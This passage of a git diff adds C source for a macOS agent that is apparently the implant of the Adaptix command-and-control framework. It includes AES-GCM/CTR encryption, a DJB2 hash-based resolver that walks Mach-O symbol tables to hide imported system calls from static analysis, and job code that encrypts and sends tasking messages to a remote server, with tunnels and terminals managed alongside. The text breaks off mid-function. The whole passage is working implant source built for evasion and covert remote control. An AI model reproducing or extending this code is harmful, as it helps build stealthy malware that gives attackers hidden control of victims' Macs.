+// Decrypt: allocates output buffer (plaintext)
+// Input format: [nonce 12B][ciphertext][tag 16B]
+// Returns plaintext and sets *out_len. Caller must free output.
+// Returns NULL on authentication failure.
+uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len,
+ const uint8_t* key,
+ size_t* out_len);
+
+/// AES-128-CTR for tunnel/terminal streaming
+/// Key: 16 bytes, IV: 16 bytes (used as initial counter)
+
+/// Expand AES-128 key into round keys (176 bytes)
+void aes128_expand_key(const uint8_t* key, uint8_t* round_keys);
+
+/// CTR stream context — preserves partial keystream between calls
+/// This matches Go's cipher.NewCTR behavior where partial blocks
+/// are carried across calls.
+typedef struct {
+ uint8_t round_keys[176];
+ uint8_t counter[16];
+ uint8_t keystream[16]; // cached keystream block
+ uint8_t ks_offset; // how many bytes used in current keystream (0-16)
+} aes128_ctr_ctx_t;
+
+/// Initialize CTR context with key and IV
+void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv);
+
+/// Process data with CTR stream (preserves partial block state)
+void aes128_ctr_process(aes128_ctr_ctx_t* ctx,
+ const uint8_t* in, uint8_t* out, size_t len);
+
+#endif // CRYPT_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c
new file mode 100644
index 000000000..16bdb1d16
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c
@@ -0,0 +1,322 @@
+#include "dyld_resolve.h"
+#include "crt.h"
+
+#include
+#include
+#include
+
+/// Global resolved API table
+resolved_apis_t g_apis;
+
+/// DJB2 hash — case-insensitive, seeded
+/// Matches Go's djb2a(seed, strings.ToLower(s))
+uint32_t djb2_hash(const char* str) {
+ if (!str) return 0;
+ uint32_t hash = DJB2_SEED;
+ int c;
+ while ((c = *str++)) {
+ if (c >= 'A' && c <= 'Z')
+ c += 0x20; // lowercase
+ hash = ((hash << 5) + hash) + (uint32_t)c;
+ }
+ return hash;
+}
+
+/// Extract basename from a path: "/usr/lib/libSystem.B.dylib" → "libSystem.B.dylib"
+static const char* path_basename(const char* path) {
+ const char* last = path;
+ while (*path) {
+ if (*path == '/') last = path + 1;
+ path++;
+ }
+ return last;
+}
+
+/// Resolve a dylib by DJB2 hash of its basename
+void* dyld_resolve_lib(uint32_t name_hash) {
+ uint32_t count = _dyld_image_count();
+ for (uint32_t i = 0; i < count; i++) {
+ const char* name = _dyld_get_image_name(i);
+ if (!name) continue;
+
+ const char* base = path_basename(name);
+ if (djb2_hash(base) == name_hash) {
+ return (void*)_dyld_get_image_header(i);
+ }
+ }
+ return (void*)0;
+}
+
+/// Resolve a symbol within a Mach-O image by DJB2 hash
+/// Parses the Mach-O header → finds LC_SYMTAB → walks nlist entries
+void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash) {
+ if (!image_header) return (void*)0;
+
+ const struct mach_header_64* header = (const struct mach_header_64*)image_header;
+
+ // Verify magic
+ if (header->magic != MH_MAGIC_64) return (void*)0;
+
+ // Find LC_SYMTAB load command
+ const struct load_command* cmd = (const struct load_command*)(header + 1);
+ const struct symtab_command* symtab = (const struct symtab_command*)0;
+ intptr_t slide = 0;
+ intptr_t linkedit_base = 0;
+ intptr_t text_base = 0;
+
+ // First pass: find __LINKEDIT and __TEXT segments for slide calculation
+ const struct load_command* cmd_iter = cmd;
+ for (uint32_t i = 0; i < header->ncmds; i++) {
+ if (cmd_iter->cmd == LC_SEGMENT_64) {
+ const struct segment_command_64* seg = (const struct segment_command_64*)cmd_iter;
+ if (seg->segname[0] == '_' && seg->segname[1] == '_' &&
+ seg->segname[2] == 'L' && seg->segname[3] == 'I' &&
+ seg->segname[4] == 'N' && seg->segname[5] == 'K') {
+ // __LINKEDIT
+ linkedit_base = (intptr_t)(seg->vmaddr - seg->fileoff);
+ }
+ if (seg->segname[0] == '_' && seg->segname[1] == '_' &&
+ seg->segname[2] == 'T' && seg->segname[3] == 'E' &&
+ seg->segname[4] == 'X' && seg->segname[5] == 'T' &&
+ seg->segname[6] == '\0') {
+ // __TEXT
+ text_base = (intptr_t)seg->vmaddr;
+ }
+ }
+ cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize);
+ }
+
+ // Calculate ASLR slide
+ slide = (intptr_t)header - text_base;
+
+ // Second pass: find LC_SYMTAB
+ cmd_iter = cmd;
+ for (uint32_t i = 0; i < header->ncmds; i++) {
+ if (cmd_iter->cmd == LC_SYMTAB) {
+ symtab = (const struct symtab_command*)cmd_iter;
+ break;
+ }
+ cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize);
+ }
+
+ if (!symtab || symtab->nsyms == 0) return (void*)0;
+
+ // Get string table and symbol table addresses
+ const char* strtab = (const char*)(linkedit_base + slide + symtab->stroff);
+ const struct nlist_64* symbols = (const struct nlist_64*)(linkedit_base + slide + symtab->symoff);
+
+ // Walk symbol table
+ for (uint32_t i = 0; i < symtab->nsyms; i++) {
+ const struct nlist_64* sym = &symbols[i];
+
+ // Skip debug, undefined, and non-external symbols
+ if ((sym->n_type & N_STAB) != 0) continue; // debug symbol
+ if ((sym->n_type & N_TYPE) == N_UNDF) continue; // undefined
+ if ((sym->n_type & N_EXT) == 0) continue; // not exported
+
+ uint32_t str_idx = sym->n_un.n_strx;
+ const char* sym_name = &strtab[str_idx];
+
+ // Skip leading underscore (Mach-O convention)
+ if (sym_name[0] == '_') sym_name++;
+
+ if (djb2_hash(sym_name) == symbol_hash) {
+ return (void*)((intptr_t)sym->n_value + slide);
+ }
+ }
+
+ return (void*)0;
+}
+
+/// Initialize resolver — resolve critical APIs from libSystem
+int dyld_resolver_init(void) {
+ ax_memset(&g_apis, 0, sizeof(g_apis));
+
+ // libSystem.B.dylib contains all BSD/POSIX functions on macOS
+ // It's always loaded (it's the macOS equivalent of libc)
+
+ // We need to find libSystem by hash
+ // Try multiple names since dyld may list it differently
+ void* libsystem = (void*)0;
+ uint32_t count = _dyld_image_count();
+
+ for (uint32_t i = 0; i < count; i++) {
+ const char* name = _dyld_get_image_name(i);
+ if (!name) continue;
+ const char* base = path_basename(name);
+
+ // Match "libSystem.B.dylib" or "libsystem_*" components
+ // But we primarily want libSystem.B.dylib which re-exports everything
+ uint32_t h = djb2_hash(base);
+
+ // Check against our expected hash
+ // Note: the hash value depends on DJB2_SEED, so we compute at runtime
+ uint32_t expected = djb2_hash("libSystem.B.dylib");
+ if (h == expected) {
+ libsystem = (void*)_dyld_get_image_header(i);
+ break;
+ }
+ }
+
+ // If not found by exact name, try to find libc or libsystem_c
+ if (!libsystem) {
+ for (uint32_t i = 0; i < count; i++) {
+ const char* name = _dyld_get_image_name(i);
+ if (!name) continue;
+ const char* base = path_basename(name);
+ if (djb2_hash(base) == djb2_hash("libsystem_c.dylib")) {
+ libsystem = (void*)_dyld_get_image_header(i);
+ break;
+ }
+ }
+ }
+
+ if (!libsystem) return -1;
+
+ // libSystem.B.dylib re-exports from sub-libraries
+ // Symbols may be in libsystem_c, libsystem_kernel, libsystem_pthread, etc.
+ // We need to search multiple images
+
+ // Collect all libsystem_* images
+ void* images[32];
+ int image_count = 0;
+
+ for (uint32_t i = 0; i < count && image_count < 32; i++) {
+ const char* name = _dyld_get_image_name(i);
+ if (!name) continue;
+
+ // Check if path contains "libsystem_" or "libSystem"
+ int is_system = 0;
+ const char* p = name;
+ while (*p) {
+ if (p[0] == 'l' && p[1] == 'i' && p[2] == 'b') {
+ if ((p[3] == 's' || p[3] == 'S') &&
+ (p[4] == 'y' || p[4] == 'Y') &&
+ (p[5] == 's' || p[5] == 'S')) {
+ is_system = 1;
+ break;
+ }
+ }
+ p++;
+ }
+ if (is_system) {
+ images[image_count++] = (void*)_dyld_get_image_header(i);
+ }
+ }
+
+ // Also add libpthread if present
+ for (uint32_t i = 0; i < count && image_count < 32; i++) {
+ const char* name = _dyld_get_image_name(i);
+ if (!name) continue;
+ const char* base = path_basename(name);
+ if (base[0] == 'l' && base[1] == 'i' && base[2] == 'b' &&
+ base[3] == 'p' && base[4] == 't' && base[5] == 'h') {
+ images[image_count++] = (void*)_dyld_get_image_header(i);
+ break;
+ }
+ }
+
+ // Helper: resolve across all system images
+ #define RESOLVE(field, name_str) do { \
+ uint32_t _h = djb2_hash(name_str); \
+ for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \
+ g_apis.field = dyld_resolve_sym(images[_i], _h); \
+ } \
+ } while(0)
+
+ // ── File I/O ──
+ RESOLVE(fn_open, "open");
+ RESOLVE(fn_close, "close");
+ RESOLVE(fn_read, "read");
+ RESOLVE(fn_write, "write");
+ RESOLVE(fn_stat, "stat");
+ RESOLVE(fn_fstat, "fstat");
+ RESOLVE(fn_unlink, "unlink");
+ RESOLVE(fn_rename, "rename");
+ RESOLVE(fn_mkdir, "mkdir");
+ RESOLVE(fn_opendir, "opendir");
+ RESOLVE(fn_readdir, "readdir");
+ RESOLVE(fn_closedir, "closedir");
+ RESOLVE(fn_getcwd, "getcwd");
+ RESOLVE(fn_chdir, "chdir");
+ RESOLVE(fn_copyfile, "copyfile");
+ RESOLVE(fn_rmdir, "rmdir");
+ RESOLVE(fn_rewinddir, "rewinddir");
+
+ // ── Memory ──
+ RESOLVE(fn_mmap, "mmap");
+ RESOLVE(fn_munmap, "munmap");
+ RESOLVE(fn_mprotect, "mprotect");
+
+ // ── Process ──
+ RESOLVE(fn_fork, "fork");
+ RESOLVE(fn_execve, "execve");
+ RESOLVE(fn_execvp, "execvp");
+ RESOLVE(fn_execl, "execl");
+ RESOLVE(fn_execlp, "execlp");
+ RESOLVE(fn_waitpid, "waitpid");
+ RESOLVE(fn_getpid, "getpid");
+ RESOLVE(fn_getuid, "getuid");
+ RESOLVE(fn_geteuid, "geteuid");
+ RESOLVE(fn_kill, "kill");
+ RESOLVE(fn_killpg, "killpg");
+ RESOLVE(fn_setsid, "setsid");
+ RESOLVE(fn_setpgid, "setpgid");
+ RESOLVE(fn_exit, "_exit");
+
+ // ── Network ──
+ RESOLVE(fn_socket, "socket");
+ RESOLVE(fn_connect, "connect");
+ RESOLVE(fn_getaddrinfo, "getaddrinfo");
+ RESOLVE(fn_freeaddrinfo, "freeaddrinfo");
+ RESOLVE(fn_gethostname, "gethostname");
+ RESOLVE(fn_getsockopt, "getsockopt");
+ RESOLVE(fn_setsockopt, "setsockopt");
+ RESOLVE(fn_select, "select");
+
+ // ── System ──
+ RESOLVE(fn_sysctl, "sysctl");
+ RESOLVE(fn_sysctlbyname, "sysctlbyname");
+ RESOLVE(fn_getenv, "getenv");
+ RESOLVE(fn_setenv, "setenv");
+ RESOLVE(fn_sleep, "sleep");
+ RESOLVE(fn_usleep, "usleep");
+
+ // ── Pipes & PTY ──
+ RESOLVE(fn_pipe, "pipe");
+ RESOLVE(fn_dup2, "dup2");
+ RESOLVE(fn_fcntl, "fcntl");
+ RESOLVE(fn_posix_openpt, "posix_openpt");
+ RESOLVE(fn_grantpt, "grantpt");
+ RESOLVE(fn_unlockpt, "unlockpt");
+ RESOLVE(fn_ptsname, "ptsname");
+ RESOLVE(fn_ioctl, "ioctl");
+
+ // ── Threading ──
+ RESOLVE(fn_pthread_create, "pthread_create");
+ RESOLVE(fn_pthread_detach, "pthread_detach");
+ RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init");
+ RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock");
+ RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock");
+
+ // ── Crypto/Random ──
+ RESOLVE(fn_arc4random_buf, "arc4random_buf");
+
+ // ── String/Misc ──
+ RESOLVE(fn_dlopen, "dlopen");
+ RESOLVE(fn_dlsym, "dlsym");
+ RESOLVE(fn_dlclose, "dlclose");
+
+ // ── macOS-specific ──
+ RESOLVE(fn_getpwuid, "getpwuid");
+ RESOLVE(fn_getgrgid, "getgrgid");
+ RESOLVE(fn_getifaddrs, "getifaddrs");
+ RESOLVE(fn_freeifaddrs, "freeifaddrs");
+ RESOLVE(fn_inet_ntop, "inet_ntop");
+ RESOLVE(fn_localtime, "localtime");
+ RESOLVE(fn_strftime, "strftime");
+
+ #undef RESOLVE
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h
new file mode 100644
index 000000000..e4af417a7
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h
@@ -0,0 +1,209 @@
+#ifndef DYLD_RESOLVE_H
+#define DYLD_RESOLVE_H
+
+#include
+#include
+
+/// DJB2 hash-based API resolution for Mach-O on macOS ARM64
+/// Equivalent to beacon's ProcLoader.cpp but for dyld/LC_SYMTAB
+///
+/// Usage:
+/// void* libsystem = dyld_resolve_lib(HASH_LIB_LIBSYSTEM);
+/// void* fn_open = dyld_resolve_sym(libsystem, HASH_FUNC_OPEN);
+/// ((int(*)(const char*, int, int))fn_open)("/dev/urandom", 0, 0);
+
+/// DJB2 hash function (case-insensitive, seeded)
+/// Seed is defined per-payload via -DDJB2_SEED=U
+#ifndef DJB2_SEED
+#define DJB2_SEED 0x1505U // Default seed (overridden per-payload)
+#endif
+
+uint32_t djb2_hash(const char* str);
+
+/// Resolve a loaded dylib by hash of its base name
+/// Iterates _dyld_image_count(), hashes each image name's basename
+/// Returns the image header address (Mach-O header) or NULL
+void* dyld_resolve_lib(uint32_t name_hash);
+
+/// Resolve a symbol within a Mach-O image by hash
+/// Parses LC_SYMTAB to find the symbol, returns its address or NULL
+void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash);
+
+/// Initialize the resolver — resolves critical bootstrap functions
+/// Call once at startup before using any resolved APIs
+int dyld_resolver_init(void);
+
+/// Resolved API table (populated by dyld_resolver_init)
+typedef struct {
+ // ── File I/O ──
+ void* fn_open;
+ void* fn_close;
+ void* fn_read;
+ void* fn_write;
+ void* fn_stat;
+ void* fn_fstat;
+ void* fn_unlink;
+ void* fn_rename;
+ void* fn_mkdir;
+ void* fn_opendir;
+ void* fn_readdir;
+ void* fn_closedir;
+ void* fn_getcwd;
+ void* fn_chdir;
+ void* fn_copyfile;
+ void* fn_rmdir;
+ void* fn_rewinddir;
+
+ // ── Memory ──
+ void* fn_mmap;
+ void* fn_munmap;
+ void* fn_mprotect;
+
+ // ── Process ──
+ void* fn_fork;
+ void* fn_execve;
+ void* fn_execvp;
+ void* fn_execl;
+ void* fn_execlp;
+ void* fn_waitpid;
+ void* fn_getpid;
+ void* fn_getuid;
+ void* fn_geteuid;
+ void* fn_kill;
+ void* fn_killpg;
+ void* fn_setsid;
+ void* fn_setpgid;
+ void* fn_exit; // _exit
+
+ // ── Network ──
+ void* fn_socket;
+ void* fn_connect;
+ void* fn_getaddrinfo;
+ void* fn_freeaddrinfo;
+ void* fn_gethostname;
+ void* fn_getsockopt;
+ void* fn_setsockopt;
+ void* fn_select;
+
+ // ── System ──
+ void* fn_sysctl;
+ void* fn_sysctlbyname;
+ void* fn_getenv;
+ void* fn_setenv;
+ void* fn_sleep;
+ void* fn_usleep;
+
+ // ── Pipes & PTY ──
+ void* fn_pipe;
+ void* fn_dup2;
+ void* fn_fcntl;
+ void* fn_posix_openpt;
+ void* fn_grantpt;
+ void* fn_unlockpt;
+ void* fn_ptsname;
+ void* fn_ioctl;
+
+ // ── Threading ──
+ void* fn_pthread_create;
+ void* fn_pthread_detach;
+ void* fn_pthread_mutex_init;
+ void* fn_pthread_mutex_lock;
+ void* fn_pthread_mutex_unlock;
+
+ // ── Crypto/Random ──
+ void* fn_arc4random_buf;
+
+ // ── String/Misc ──
+ void* fn_dlopen;
+ void* fn_dlsym;
+ void* fn_dlclose;
+
+ // ── macOS-specific ──
+ void* fn_getpwuid;
+ void* fn_getgrgid;
+ void* fn_getifaddrs;
+ void* fn_freeifaddrs;
+ void* fn_inet_ntop;
+ void* fn_localtime;
+ void* fn_strftime;
+} resolved_apis_t;
+
+extern resolved_apis_t g_apis;
+
+// ── Convenience casting macros ──
+// These provide type-safe access to resolved APIs without verbose manual casts.
+// Each file includes its own system headers, so the types are already defined.
+// These macros are safe to use in any .c file that includes dyld_resolve.h
+// AFTER the relevant system headers (which all our files do).
+
+#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m)
+#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd)
+#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n)
+#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n)
+#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s)
+#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s)
+#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p)
+#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n)
+#define R_mkdir(p,m) ((int(*)(const char*,unsigned short))g_apis.fn_mkdir)(p,m)
+#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p)
+#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d)
+#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d)
+#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s)
+#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p)
+#define R_copyfile(s,d,st,f) ((int(*)(const char*,const char*,void*,unsigned int))g_apis.fn_copyfile)(s,d,st,f)
+#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p)
+#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d)
+
+#define R_fork() ((int(*)(void))g_apis.fn_fork)()
+#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e)
+#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a)
+#define R_execl(...) ((int(*)(const char*,...))g_apis.fn_execl)(__VA_ARGS__)
+#define R_execlp(...) ((int(*)(const char*,...))g_apis.fn_execlp)(__VA_ARGS__)
+#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o)
+#define R_getpid() ((int(*)(void))g_apis.fn_getpid)()
+#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)()
+#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)()
+#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s)
+#define R_killpg(pg,s) ((int(*)(int,int))g_apis.fn_killpg)(pg,s)
+#define R_setsid() ((int(*)(void))g_apis.fn_setsid)()
+#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g)
+#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s)
+
+#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p)
+#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l)
+#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void*))g_apis.fn_getaddrinfo)(h,s,hi,r)
+#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r)
+#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l)
+#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n)
+#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t)
+
+#define R_sysctl(m,c,o,os,n,ns) ((int(*)(int*,unsigned int,void*,unsigned long*,void*,unsigned long))g_apis.fn_sysctl)(m,c,o,os,n,ns)
+#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k)
+#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o)
+#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s)
+#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u)
+
+#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p)
+#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n)
+#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__)
+#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f)
+#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd)
+#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd)
+#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd)
+#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__)
+
+#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d)
+#define R_pthread_detach(t) ((int(*)(void*))g_apis.fn_pthread_detach)((void*)(t))
+#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a)
+#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m)
+#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m)
+
+#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u)
+#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g)
+#define R_getifaddrs(a) ((int(*)(void*))g_apis.fn_getifaddrs)(a)
+#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a)
+#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l)
+#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t)
+#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t)
+
+#endif // DYLD_RESOLVE_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c
new file mode 100644
index 000000000..6e5f9962d
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c
@@ -0,0 +1,208 @@
+#include "jobs.h"
+#include "crt.h"
+#include "crypt.h"
+#include "msgpack.h"
+#include "dyld_resolve.h"
+
+#ifdef DEBUG_TRACE
+#include "syscalls_arm64.h"
+static void _jobs_dbg(const char* msg) {
+ size_t len = 0;
+ const char* p = msg;
+ while (*p++) len++;
+ sys_write(2, msg, len);
+ sys_write(2, "\n", 1);
+}
+static void _jobs_dbg_int(const char* prefix, int64_t val) {
+ size_t plen = 0;
+ const char* p = prefix;
+ while (*p++) plen++;
+ sys_write(2, prefix, plen);
+ char nbuf[24];
+ int ni = 0;
+ uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val;
+ if (val < 0) sys_write(2, "-", 1);
+ do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0);
+ while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); }
+ sys_write(2, "\n", 1);
+}
+static void _jobs_dbg_hex(const char* prefix, const uint8_t* data, size_t len) {
+ size_t plen = 0;
+ const char* p = prefix;
+ while (*p++) plen++;
+ sys_write(2, prefix, plen);
+ size_t show = len < 32 ? len : 32;
+ static const char hx[] = "0123456789abcdef";
+ for (size_t i = 0; i < show; i++) {
+ char pair[3];
+ pair[0] = hx[(data[i] >> 4) & 0xF];
+ pair[1] = hx[data[i] & 0xF];
+ pair[2] = ' ';
+ sys_write(2, pair, 3);
+ }
+ sys_write(2, "\n", 1);
+}
+#else
+#define _jobs_dbg(msg) ((void)0)
+#define _jobs_dbg_int(prefix, val) ((void)0)
+#define _jobs_dbg_hex(prefix, d, l) ((void)0)
+#endif
+
+/// Global job context
+job_context_t g_job_ctx;
+
+void jobs_init(job_context_t* ctx) {
+ ax_memset(ctx, 0, sizeof(job_context_t));
+ R_pthread_mutex_init(&ctx->jobs_mutex, (void*)0);
+ R_pthread_mutex_init(&ctx->tunnels_mutex, (void*)0);
+ R_pthread_mutex_init(&ctx->terminals_mutex, (void*)0);
+}
+
+void jobs_update_connection(job_context_t* ctx, const char* address,
+ int banner_size, const uint8_t* enc_key,
+ uint32_t profile_type) {
+ ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1);
+ ctx->banner_size = banner_size;
+ ax_memcpy(ctx->enc_key, enc_key, 16);
+ ctx->profile_type = profile_type;
+}
+
+int jobs_open_connection(job_context_t* ctx, connector_t* conn) {
+ if (conn_open(conn, ctx->address) != 0)
+ return -1;
+
+ // Discard banner
+ if (ctx->banner_size > 0) {
+ if (conn_discard(conn, (size_t)ctx->banner_size) != 0) {
+ conn_close(conn);
+ return -1;
+ }
+ }
+ return 0;
+}
+
+int jobs_alloc(job_context_t* ctx) {
+ R_pthread_mutex_lock(&ctx->jobs_mutex);
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (!ctx->jobs[i].active) {
+ ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t));
+ ctx->jobs[i].conn.fd = -1;
+ R_pthread_mutex_unlock(&ctx->jobs_mutex);
+ return i;
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->jobs_mutex);
+ return -1;
+}
+
+int jobs_find(job_context_t* ctx, const char* job_id) {
+ R_pthread_mutex_lock(&ctx->jobs_mutex);
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) {
+ R_pthread_mutex_unlock(&ctx->jobs_mutex);
+ return i;
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->jobs_mutex);
+ return -1;
+}
+
+void jobs_remove(job_context_t* ctx, int idx) {
+ R_pthread_mutex_lock(&ctx->jobs_mutex);
+ if (idx >= 0 && idx < MAX_JOBS) {
+ ctx->jobs[idx].active = 0;
+ ctx->jobs[idx].job_id[0] = '\0';
+ }
+ R_pthread_mutex_unlock(&ctx->jobs_mutex);
+}
+
+int tunnels_find(job_context_t* ctx, int channel_id) {
+ R_pthread_mutex_lock(&ctx->tunnels_mutex);
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) {
+ R_pthread_mutex_unlock(&ctx->tunnels_mutex);
+ return i;
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->tunnels_mutex);
+ return -1;
+}
+
+int terminals_find(job_context_t* ctx, int term_id) {
+ R_pthread_mutex_lock(&ctx->terminals_mutex);
+ for (int i = 0; i < MAX_TERMINALS; i++) {
+ if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) {
+ R_pthread_mutex_unlock(&ctx->terminals_mutex);
+ return i;
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->terminals_mutex);
+ return -1;
+}
+
+int jobs_send_init(job_context_t* ctx, connector_t* conn,
+ int pack_type, const uint8_t* pack_data, uint32_t pack_len) {
+ _jobs_dbg_int("[JOBS] send_init pack_type=", pack_type);
+ _jobs_dbg_int("[JOBS] send_init pack_len=", pack_len);
+
+ // Outer: StartMsg{id: pack_type, data: pack_data}
+ mp_writer_t outer;
+ mp_writer_init(&outer, 256);
+ mp_write_map(&outer, 2);
+ mp_write_kv_int(&outer, "id", pack_type);
+ mp_write_kv_bin(&outer, "data", pack_data, pack_len);
+
+ _jobs_dbg_int("[JOBS] StartMsg msgpack size=", (int64_t)outer.buf.len);
+ _jobs_dbg_hex("[JOBS] StartMsg first 32=", outer.buf.data, outer.buf.len < 32 ? outer.buf.len : 32);
+
+ // Encrypt with profile enc_key
+ size_t enc_len;
+ uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len,
+ ctx->enc_key, &enc_len);
+ mp_writer_free(&outer);
+ if (!encrypted) {
+ _jobs_dbg("[JOBS] GCM encrypt failed!");
+ return -1;
+ }
+
+ _jobs_dbg_int("[JOBS] GCM encrypted size=", (int64_t)enc_len);
+ _jobs_dbg_hex("[JOBS] GCM encrypted first 32=", encrypted, enc_len < 32 ? enc_len : 32);
+
+ int ret = conn_send_msg(conn, encrypted, enc_len);
+ _jobs_dbg_int("[JOBS] conn_send_msg ret=", ret);
+ ax_free(encrypted, enc_len);
+ return ret;
+}
+
+int jobs_send_message(job_context_t* ctx, connector_t* conn,
+ uint32_t command_id, const char* job_id,
+ const uint8_t* data, uint32_t data_len) {
+ // Build Job struct: {command_id, job_id, data}
+ mp_writer_t job_w;
+ mp_writer_init(&job_w, 256 + data_len);
+ mp_write_map(&job_w, 3);
+ mp_write_kv_uint(&job_w, "command_id", command_id);
+ mp_write_kv_str(&job_w, "job_id", job_id);
+ mp_write_kv_bin(&job_w, "data", data, data_len);
+
+ // Build Message{type: 2, object: [packed_job]}
+ mp_writer_t msg_w;
+ mp_writer_init(&msg_w, 256 + job_w.buf.len);
+ mp_write_map(&msg_w, 2);
+ mp_write_kv_int(&msg_w, "type", 2);
+ mp_write_str(&msg_w, "object", 6);
+ mp_write_array(&msg_w, 1);
+ mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len);
+ mp_writer_free(&job_w);
+
+ // Encrypt with session key
+ size_t enc_len;
+ uint8_t* encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len,
